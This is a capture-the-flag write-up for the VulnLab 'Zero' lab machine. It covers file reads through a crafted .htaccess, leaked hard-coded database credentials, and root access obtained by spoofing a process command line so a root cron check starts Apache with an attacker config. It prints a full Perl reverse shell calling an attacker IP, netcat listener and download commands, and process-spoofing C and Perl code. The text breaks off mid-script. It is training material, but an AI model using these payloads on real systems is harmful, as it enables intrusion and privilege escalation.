POSTS

VULNLAB: Zero

Zero is an Insane difficulty Linux machine that features a web application that allows for the creation of credentials to be used on an SFTP server where users can create their own HTML pages. This service is exploitable by uploading a malicious .htaccess file to gain arbitrary file read access to the web servers' asset files. By viewing the source code of these files players will find hard coded credentials that allow for access to the target over SSH. The Apache server configuration is periodically managed by a cronjob that checks the integrity of the Apache configurations and can be abused by satisfying the conditions of the cronjob task to include a malicious line into the restored configuration to leak the contents of files owned by root.

VULNLAB: Zero
5012 words · 24 min

Overview

  • Type Machines
  • OS Linux
  • Severity Insane
  • Creator jkr
  • Release date 2022 Feb 25 (JST)

Enumeration

Start the instance via Discord and let’s go:

image

10.10.71.179

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.10.71.179
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 11:05 JST
Nmap scan report for 10.10.71.179
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:4f:7a:1a:6b:13:d5:23:65:a9:93:63:91:0c:d5:e4 (RSA)
|   256 33:06:7f:5d:e6:c4:a3:35:c4:14:3c:c4:2e:1d:3b:27 (ECDSA)
|_  256 a9:e7:d7:ca:5a:db:1c:0b:63:73:df:45:eb:70:cb:99 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Found a Linux machine as Ubuntu is referenced
  • Open ports are only for SSH and HTTP server.
  • Add zero.vl in in /etc/hosts

WEB (80/tcp)

image

image

PHP web app

Click on Sign up Today button and … reminder the TEN Hard Linux machine. Not really a good sign, pretty sure that a BIG challenge is waiting us xD.

image

image

Our credentials:

Username: zro-bf0ba989
Password: 4284655f

image

Just a white wall

Let’s start for fuzzing stuff to enumerate and maybe discover something.

Directory discovery fuzzing

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://zero.vl/FUZZ --fs 567

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://zero.vl/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 567
________________________________________________

dist                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 244ms]
...

Found /dist

image

Not interesting

File discovery fuzzing

As we know it’s a PHP web app then we will focus on .php file extension:

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://zero.vl/FUZZ -e .php --fs 567

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://zero.vl/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 567
________________________________________________

stats.php               [Status: 200, Size: 3285, Words: 399, Lines: 76, Duration: 245ms]
info.php                [Status: 200, Size: 72707, Words: 3447, Lines: 819, Duration: 265ms]
signup.php              [Status: 200, Size: 3675, Words: 479, Lines: 90, Duration: 245ms]
index.php               [Status: 200, Size: 5173, Words: 767, Lines: 115, Duration: 245ms]
...

We know already about stats.php as we have Statistics button on the top bar in the main page to access it.

But check again and insteresting, the stats changed as we have registered our account:

image

Check info.php as maybe related to phpinfo:

image

image

PHP Modules enumeration

We can get the information of active module from the php info:

image

Nothing is really helpful at this moment.

.htaccess abusing via ErrorDocument 404 (zroadmin) (Zero_User)

We can`t connect to SSH using our credentials but we can connect to SFTP.

We tried to use sftp for local port forward but this isn’t working on this machine.

Let’s connect to SFTP and enumerate:

$ sshpass -p '4284655f' sftp -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' zro-bf0ba989@zero.vl
Warning: Permanently added 'zero.vl' (ED25519) to the list of known hosts.
Connected to zero.vl.
sftp> ls -la
drwxr-xr-x    3 root     root         4096 Feb 16 02:17 .
drwxr-xr-x    3 root     root         4096 Feb 16 02:17 ..
drwxr-xr-x    2 1001     1001         4096 Feb 16 02:17 public_html
sftp> cd public_html/
sftp> ls -la
drwxr-xr-x    2 1001     1001         4096 Feb 16 02:17 .
drwxr-xr-x    3 root     root         4096 Feb 16 02:17 ..
-rw-r--r--    1 root     root           49 Feb 16 02:17 .htaccess
-rw-r--r--    1 1001     1001          349 Feb 15  2019 index.html

Found .htaccess and index.html

We download them for review:

sftp> get .htaccess 
Fetching /public_html/.htaccess to .htaccess
sftp> get index.html 
Fetching /public_html/index.html to index.html
sftp> quit
$ cat .htaccess 
Header always set X-Zero-Customer 'zro-bf0ba989'
$ cat index.html 
<!DOCTYPE html>
<html>
<head>
<title>Nothing here.</title>
<style>body { margin:0; padding:0; background:url("/dist/img/abstract-architecture-attractive-988873.jpg") no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; }</style>
</head>
<body></body>
</html>
  • The index.html file contains the background image.
  • The .htaccess file contains one custom header.

image

As the mainpage was served via php we can try to upload different kinds of php files (php5,php7,pht) but we will recognize that none of them get executed and only served as plaintext.

But the present of the .htaccess file was interesting and points us to some idea.

We can’t overwrite the existing one, as its owned by root but .htaccess files can be created in every directory.

So we just need to create a new directory and can now upload our own .htaccess file.

But what can we do with .htaccess to get a privilege escalation?

There are some good resources to get some ideas:

To some it up here are some attacks what we can try

  • Enable PHP via Set- / AddHandler
  • Overwrite PHP Configurations
  • Enable CGI via Options
  • Change or set the Errorlog path
  • Use RewriteRules

I tried all of them in different ways but it turns out that nothing will work

SetHandler "proxy:unix:/run/php/php7.4-fpm.sock|fcgi://localhost"
SetHandler php-script
php_flag engine on
<FilesMatch "\.ph.*$">
  AddHandler application/x-httpd-php(73|74|80|74)s .php
  AddHandler fcgid(73|74|80|81)-script .php
  AddHandler application/x-httpd-php(73|74|80|81) .php
  AddHandler application/x-httpd-php74 .php .php5 .html .htm
</FilesMatch>
Options +ExecCGI
CustomLog "logs/access_log" common

Most of them will trigger a server error or just won’t work…

Nothing works so take a break and read the documentation from Apache.

After some reading, we found the expressions and functions section: https://httpd.apache.org/docs/2.4/expr.html

From the examples we can learn the syntax:

# Function example in string context
Header set foo-checksum "expr=%{md5:foo}"

The file restricted function seems interesting as it can read contents from a file:

image

Using it, we could inject a file into our header, but as our header size is limited and special chars will break the server response. we need to find another way to read the files.

As we can learn from the documentation we can specify a custom error page and this will also allow a function: https://httpd.apache.org/docs/2.4/custom-error.html

Let’s proceed.

We backup the original .htaccess and index.html files:

$ cp .htaccess .htaccess_org
$ cp index.html index.html_org

Then we modify our .htaccess as below:

Header always set X-Zero-Customer 'zro-bf0ba989'
ErrorDocument 404 "expr=%{file:/etc/passwd}"

and our index.html as below:

<!DOCTYPE html>
<html>
<head>
<title>Testing page</title>
</head>
<body></body>
</html>

Connect to SFTP to create a new folder then upload our index.php and .htaccess files:

$ sshpass -p '4284655f' sftp -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' zro-bf0ba989@zero.vl
Connected to zero.vl.
sftp> cd public_html/
sftp> mkdir test
sftp> cd test
sftp> put index.html
Uploading index.html to /public_html/test/index.html
sftp> put .htaccess
Uploading .htaccess to /public_html/test/.htaccess

Quick test to be sure we can access to our testing page:

image

Confirmed we can access.

Let’s go to visit a non existing page in our test directory then we got the content of /etc/passwd in the response:

image

image

We can now start and try to read the files from the main page.

Let’s change our .htaccess to read the stats page:

Header always set X-Zero-Customer 'zro-bf0ba989'
ErrorDocument 404 "expr=%{file:/var/www/html/stats.php}"

image

<?php
		$mysqli = new mysqli("localhost", "zroadmin", "correct-horse-battery-staple", "zro");
		$result = $mysqli->query("SELECT * FROM stats LIMIT 1");
		for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
			$result->data_seek($row_no);
			$row = $result->fetch_assoc();
			print("<br>Registered users: <b>".$row['numuser']."</b>
			<br>Number of pages hosted: <b>".$row['numpages']."</b>
			<br>Number of open web sockets: <b>".$row['numsocks']."</b>
			<br>System load average: <b>".$row['sysload']."</b>
			<br>System uptime: <b>".$row['uptime']."</b>
			<br>Number of admins logged in: <b>".$row['numadm']."</b>");
		}
	?>

Found zroadmin:correct-horse-battery-staple

Using these new credentials to connect via SFTP then grab the flag Zero_User:

$ sshpass -p 'correct-horse-battery-staple' sftp -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' zroadmin@zero.vl    
Connected to zero.vl.
sftp> pwd
Remote working directory: /home/zroadmin
sftp> ls -la
drwx------    3 zroadmin zroadmin     4096 Feb 19  2022 .
drwxr-xr-x    5 root     root         4096 Feb 16 02:17 ..
lrwxrwxrwx    1 root     root            9 Feb 19  2022 .bash_history
-rw-r--r--    1 zroadmin zroadmin      220 Feb 25  2020 .bash_logout
-rw-r--r--    1 zroadmin zroadmin     3771 Feb 25  2020 .bashrc
drwxr-xr-x    2 zroadmin zroadmin     4096 Feb 19  2022 .cache
-rw-r--r--    1 zroadmin zroadmin      807 Feb 25  2020 .profile
-r--r--r--    1 root     root           37 Feb 19  2022 user.txt
sftp> get user.txt 
Fetching /home/zroadmin/user.txt to user.txt
sftp> !cat user.txt
VL{6fa56c7e27809dbcac873d2679c574dd}

Privilege escalation

First, as we are now zroadmin, we can create a .ssh folder and upload an authorized_keys file with our ssh public key:

$ cat ~/.ssh/id_ed25519.pub >> authorized_keys
sftp> put authorized_keys
Uploading authorized_keys to /home/zroadmin/.ssh/authorized_keys
$ ssh -i ~/.ssh/id_ed25519 -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' zroadmin@zero.vl 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.11.0-1028-aws x86_64)
zroadmin@ip-10-10-10-13:~$ 

Check the SUDO privileges:

zroadmin@ip-10-10-10-13:~$ sudo -l
[sudo] password for zroadmin: 
Sorry, user zroadmin may not run sudo on ip-10-10-10-13.

Check the processes using pspy64:

$ python3 -m http.server 80                            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
zroadmin@ip-10-10-10-13:~$ cd /tmp/
zroadmin@ip-10-10-10-13:/tmp$ curl 10.8.4.253/pspy64 -o p
zroadmin@ip-10-10-10-13:/tmp$ chmod +x p
zroadmin@ip-10-10-10-13:/tmp$ ./p
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/02/16 04:07:12 CMD: UID=0     PID=6060   | 
2025/02/16 04:07:12 CMD: UID=666   PID=6021   | ./p 
2025/02/16 04:07:12 CMD: UID=666   PID=5862   | -bash 
2025/02/16 04:07:12 CMD: UID=666   PID=5861   | sshd: zroadmin@pts/0                                                                                                                                          
2025/02/16 04:07:12 CMD: UID=666   PID=5850   | (sd-pam) 
2025/02/16 04:07:12 CMD: UID=666   PID=5849   | /lib/systemd/systemd --user 
2025/02/16 04:07:12 CMD: UID=0     PID=5846   | sshd: zroadmin [priv]
...
2025/02/16 04:07:12 CMD: UID=0     PID=1      | /sbin/init 
2025/02/16 04:08:01 CMD: UID=0     PID=6066   | /usr/sbin/CRON -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6065   | /usr/sbin/CRON -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6064   | /usr/sbin/cron -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6067   | /usr/sbin/CRON -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6068   | /usr/sbin/CRON -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6070   | /usr/sbin/CRON -f 
2025/02/16 04:08:01 CMD: UID=0     PID=6069   | /bin/sh -c /root/bin/create-account.sh       >/dev/null 2>&1 
2025/02/16 04:08:01 CMD: UID=0     PID=6076   | /bin/bash /root/bin/create-account.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6075   | /bin/bash /root/bin/create-account.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6074   | /bin/bash /root/bin/create-account.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6073   | /bin/bash /root/bin/create-account.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6072   | /bin/sh -c /root/bin/update-stats.sh         >/dev/null 2>&1 
2025/02/16 04:08:01 CMD: UID=0     PID=6071   | /bin/sh -c /root/bin/cleanup.py              >/dev/null 2>&1 
2025/02/16 04:08:01 CMD: UID=0     PID=6077   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6080   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6079   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6078   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6081   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6083   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6082   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6084   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6086   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6085   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6087   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6088   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6090   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6089   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6091   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6093   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6092   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6095   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:01 CMD: UID=0     PID=6094   | /bin/bash /root/bin/update-stats.sh 
2025/02/16 04:08:07 CMD: UID=0     PID=6096   | /usr/bin/monit -c /etc/monit/monitrc 
2025/02/16 04:08:07 CMD: UID=0     PID=6097   | /usr/bin/bash /usr/local/bin/zro.web-confcheck 

We can find some uncommon scripts, and check /usr/local/bin/zro.web-confcheck:

zroadmin@ip-10-10-10-13:/tmp$ cat /usr/local/bin/zro.web-confcheck
#!/usr/bin/bash
RET=0
while read pid _cmd ; do
	# Replace apache2 with apache2ctl and add -t for test
	cmd="${_cmd/apache2/apache2ctl} -t"
	$cmd >/dev/null 2>&1
	RET=$?
done <<< $(/usr/bin/pgrep -P 1 -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if [[ $RET -eq 0 ]] ; then
	echo 'Configuration correct. \o/'
else
	echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET

Way 1 - Apache config override to Remote Shell

Asking ChatGPT, we got the explanation below:

image

Seems the following lines are really interesting:

image

image

This means If we get to this point in the script we can try to inject something. As the Script is looking for child processes of apache we need to find a way to create these. I found this very helpful article https://stackoverflow.com/questions/6082189/change-process-name-in-linux where you can overwrite your own commandline arguments.

Now we need to think about what we can inject. I tried many different command injection methods (like |, ; , $ID, &) but none of these works as these are passed as string to the apache2ctl binary

A good approach to test our payload is to copy the script to our attacker machine and add some debugging output:

#!/usr/bin/bash
RET=0
while read pid _cmd ; do
        # Replace apache2 with apache2ctl and add -t for test
        #_cmd='/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf'"$(whoami >/tmp/test)"'1'
        cmd="${_cmd/apache2/apache2ctl} -t"

        echo "executeing ${cmd}"
        $cmd 
        #>/dev/null 2>&1
        RET=$?
done <<< $(/usr/bin/pgrep -P 1 -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if  $RET -eq 0  ; then
        echo 'Configuration correct. \o/'
else
        echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET

But TL;DR a command injection is not working so we need to think about some other options.

We can check apache2ctl help and find out that if we provide a -D in combination with -t we can bypass the -t flag and start a new apache process without only performing a config check.

As this instance is running as root, we only need to provide a config, with some helpful modules enabled like CGI or PHP.

zroadmin@ip-10-10-10-13:/tmp$ /usr/sbin/apache2ctl -h
Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file]
                         [-C "directive"] [-c "directive"]
                         [-k start|restart|graceful|graceful-stop|stop]
                         [-v] [-V] [-h] [-l] [-L] [-t] [-T] [-S] [-X]
Options:
  -D name            : define a name for use in <IfDefine name> directives
  -d directory       : specify an alternate initial ServerRoot
  -f file            : specify an alternate ServerConfigFile
  -C "directive"     : process directive before reading config files
  -c "directive"     : process directive after reading config files
  -e level           : show startup errors of level (see LogLevel)
  -E file            : log startup errors to file
  -v                 : show version number
  -V                 : show compile settings
  -h                 : list available command line options (this page)
  -l                 : list compiled in modules
  -L                 : list available configuration directives
  -t -D DUMP_VHOSTS  : show parsed vhost settings
  -t -D DUMP_RUN_CFG : show parsed run settings
  -S                 : a synonym for -t -D DUMP_VHOSTS -D DUMP_RUN_CFG
  -t -D DUMP_MODULES : show all loaded modules 
  -M                 : a synonym for -t -D DUMP_MODULES
  -t -D DUMP_INCLUDES: show all included configuration files
  -t                 : run syntax check for config files
  -T                 : start without DocumentRoot(s) check
  -X                 : debug mode (only one worker, do not detach)

Apache Config

We searched for a minimal configuration and found this one:

We adjusted the ServerRoot and DocumentRoot to point to the tmp directory and added the necessary modules for the cgi module.

Also defined the free port 8090. Log files and PidFile we stored in tmp/pwn.

Our apache2.conf:

ServerName              localhost
ServerAdmin             root@localhost
ServerRoot              /tmp
PidFile                 pwn/httpd.pid

ServerTokens            Prod
UseCanonicalName        On
TraceEnable             Off

Timeout                 10
MaxRequestWorkers       100

Listen                  127.0.0.1:8090

LoadModule              mpm_event_module        /usr/lib/apache2/modules/mod_mpm_event.so

LoadModule              authn_core_module       /usr/lib/apache2/modules/mod_authn_core.so
LoadModule              authz_core_module       /usr/lib/apache2/modules/mod_authz_core.so
LoadModule              cgid_module             /usr/lib/apache2/modules/mod_cgid.so
LoadModule              mime_module             /usr/lib/apache2/modules/mod_mime.so

ErrorLogFormat          "[%{cu}t] [%-m:%-l] %-a %-L %M"
LogFormat               "%h %l %u [%{%Y-%m-%d %H:%M:%S}t.%{usec_frac}t] \"%r\" %>s %b \
\"%{Referer}i\" \"%{User-Agent}i\"" combined

LogLevel                debug
ErrorLog                /tmp/pwn/error.log
CustomLog               /tmp/pwn/access.log combined

DocumentRoot            /tmp

<Directory />

    Require all granted

    Options +ExecCGI
    AddHandler cgi-script .cgi .pl

</Directory>

We also need a mime.types file which is also stored in the ServerRoot:

# MIME types definition file

# text types
text/plain                    txt
text/html                     html htm
text/css                      css
text/javascript               js

# image types
image/jpeg                    jpeg jpg
image/png                     png
image/gif                     gif
image/svg+xml                 svg

# audio types
audio/mpeg                    mp3
audio/ogg                     ogg

# video types
video/mp4                     mp4
video/webm                    webm

# application types
application/pdf               pdf
application/zip               zip
application/json              json
application/xml               xml
application/javascript        js
application/octet-stream      bin exe

Finally our /tmp directory looks like the following:

zroadmin@ip-10-10-10-13:/tmp$ ls -la
total 3096
drwxrwxrwt 14 root     root        4096 Feb 16 04:38 .
drwxr-xr-x 19 root     root        4096 Feb 16 02:04 ..
drwxrwxrwt  2 root     root        4096 Feb 16 02:03 .ICE-unix
drwxrwxrwt  2 root     root        4096 Feb 16 02:03 .Test-unix
drwxrwxrwt  2 root     root        4096 Feb 16 02:03 .X11-unix
drwxrwxrwt  2 root     root        4096 Feb 16 02:03 .XIM-unix
drwxrwxrwt  2 root     root        4096 Feb 16 02:03 .font-unix
-rw-rw-r--  1 zroadmin zroadmin    1223 Feb 16 04:25 apache2.conf
-rw-rw-r--  1 zroadmin zroadmin     735 Feb 16 04:25 mime.types
drwx------  2 root     root        4096 Feb 16 02:04 netplan_t1ym2fym
-rwxrwxr-x  1 zroadmin zroadmin 3104768 Feb 16 04:06 p
drwxrwxr-x  2 zroadmin zroadmin    4096 Feb 16 04:25 pwn
drwx------  3 root     root        4096 Feb 16 02:04 snap.lxd
drwx------  3 root     root        4096 Feb 16 02:04 systemd-private-a04eb504ff044926b03831b2f1d8b4c1-apache2.service-G5wRWf
drwx------  3 root     root        4096 Feb 16 02:04 systemd-private-a04eb504ff044926b03831b2f1d8b4c1-systemd-logind.service-RpRt1i
drwx------  3 root     root        4096 Feb 16 02:04 systemd-private-a04eb504ff044926b03831b2f1d8b4c1-systemd-resolved.service-VaQ6Ff
drwx------  3 root     root        4096 Feb 16 02:03 systemd-private-a04eb504ff044926b03831b2f1d8b4c1-systemd-timesyncd.service-DPpwag

Injection Script

We can just define our config directory again with -d, so the first one will be ignored. Our commandline payload will look like the following:

"/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf/ -d /tmp -D"

but there is one problem when overwriting the command line, if we overwrite a specific character (probably some string termination or new line), the commandline will expand with some environment variables. We can see this with our test script. But we can fix this by overriding the amount of chars until the next termination. Im sure there is a more convenient way to automate this, but I just did this by try and error until nothing more comes up after my payload.

So the final run.c looks like this. It will create a new process, and then spawn a child process for 30 seconds, it also override the argument (commandline) with our payload:

#include <stdio.h>
#include <unistd.h>
#include <string.h> // For strlen() function

int main(int argc, char *argv[]) {

  const char *replacement = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf/ -d /tmp -D             "; // The string to replace each character with
  int replacementLen = strlen(replacement);

  int maxi = 0;
  for (int i = 0; i < replacementLen ; i++) {

      argv[0][i] = replacement[i]; // Replace each character with the corresponding character from the replacement string
      maxi = i;
  }

  pid_t pID = fork();
   if (pID == 0)                // child
   {
      sleep(30);
   }
  sleep(1);
}

After compiling and executing it and waiting a few seconds, we can see the new apache process spawned and listing on our port 8090:

zroadmin@ip-10-10-10-13:/tmp$ gcc run.c -o run; chmod+x run
zroadmin@ip-10-10-10-13:/tmp$ bash test.sh
zroadmin@ip-10-10-10-13:/tmp$ ss -tunlp

image

We only need to serve a perl reverse shell test.cgi in our tmp directory and make it executable (based on https://github.com/pentestmonkey/perl-reverse-shell/blob/master/perl-reverse-shell.pl):

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 pentestmonkey@pentestmonkey.net
#
# Description
# -----------
# This script will make an outbound TCP connection to a hardcoded IP and port.
# The recipient will be given a shell running as the current user (apache normally).
#

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '10.8.4.253';
my $port = 443;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
		# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
	cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

	if ($auth) {
		unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
			cgiprint("ERROR: Your client isn't authorised to view this page");
			cgiexit();
		}
	}
} elsif ($auth) {
	cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
	cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
	my $pid = fork();
	if ($pid) {
		cgiexit(0); # parent exits
	}

	setsid();
	chdir('/');
	umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
	cgiprint("Sent reverse shell to $ip:$port");
	cgiprintpage();
} else {
	cgiprint("Couldn't open reverse shell to $ip:$port: $!");
	cgiexit();	
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
	my $line = shift;
	$line .= "<p>\n";
	$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
	cgiprintpage();
	exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
	print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
zroadmin@ip-10-10-10-13:/tmp$ chmod +x test.cgi
zroadmin@ip-10-10-10-13:/tmp$ curl 127.0.0.1:8090/test.cgi

After calling our script we get a revershell as root and grab the flag:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...

image

Way 2 - Apache config override to Local read flag

We should create process matching “^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf” and script will replace /opt/zroweb/sbin/apache2 to /opt/zroweb/sbin/apache2сtl

So cp folder “/etc/apache2” to “/home/zroadmin”

Add a line to config apache2.conf to include root flag like this :

image

Just after we need to run perl script (stolen from JKR):

#!/usr/bin/perl
$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E /log.txt";
sleep(100000);

chmod it and run in background:

chmod +x script.pl
perl x.pl &

After waiting we can found file in / the root flag in log.txt:

image

Way 3 - With command execution through apache modules

By running pspy64 it can be noted that some scripts will run quite frequently:

2023/12/30 00:28:51 CMD: UID=0     PID=4879   | /usr/bin/monit -c /etc/monit/monitrc    
2023/12/30 00:28:51 CMD: UID=0     PID=4880   | /usr/bin/bash /usr/local/bin/zro.web-confcheck    
2023/12/30 00:28:51 CMD: UID=0     PID=4881   | /usr/bin/bash /usr/local/bin/zro.web-confcheck    
2023/12/30 00:29:01 CMD: UID=0     PID=4884   | /usr/sbin/CRON -f    
2023/12/30 00:29:01 CMD: UID=0     PID=4883   | /usr/sbin/CRON -f    
2023/12/30 00:29:01 CMD: UID=0     PID=4882   | /usr/sbin/cron -f    
2023/12/30 00:29:01 CMD: UID=0     PID=4887   | /usr/sbin/CRON -f    
2023/12/30 00:29:01 CMD: UID=0     PID=4886   | /usr/sbin/CRON -f    
2023/12/30 00:29:01 CMD: UID=0     PID=4885   | /usr/bin/bash /usr/local/bin/zro.web-confcheck    
2023/12/30 00:29:01 CMD: UID=0     PID=4888   | /bin/sh -c /root/bin/update-stats.sh         >/dev/null 2>&1    
2023/12/30 00:29:01 CMD: UID=0     PID=4889   | /bin/sh -c /root/bin/create-account.sh       >/dev/null 2>&1    
2023/12/30 00:29:01 CMD: UID=0     PID=4890   | /bin/sh -c /root/bin/cleanup.py              >/dev/null 2>&1    
2023/12/30 00:29:01 CMD: UID=0     PID=4891   | /bin/bash /root/bin/create-account.sh    
2023/12/30 00:29:01 CMD: UID=0     PID=4892   | /bin/bash /root/bin/update-stats.sh    
2023/12/30 00:29:01 CMD: UID=0     PID=4893   | /bin/bash /root/bin/create-account.sh    
2023/12/30 00:29:01 CMD: UID=0     PID=4894   | /bin/bash /root/bin/create-account.sh    
2023/12/30 00:29:01 CMD: UID=0     PID=4895   | /bin/bash /root/bin/create-account.sh    
2023/12/30 00:29:01 CMD: UID=0     PID=4896   | /bin/bash /root/bin/update-stats.sh

The only readable script stand out quite obvious:

zroadmin@ip-10-10-10-13:~$ cat /usr/local/bin/zro.web-confcheck  
#!/usr/bin/bash  
RET=0  
while read pid _cmd ; do  
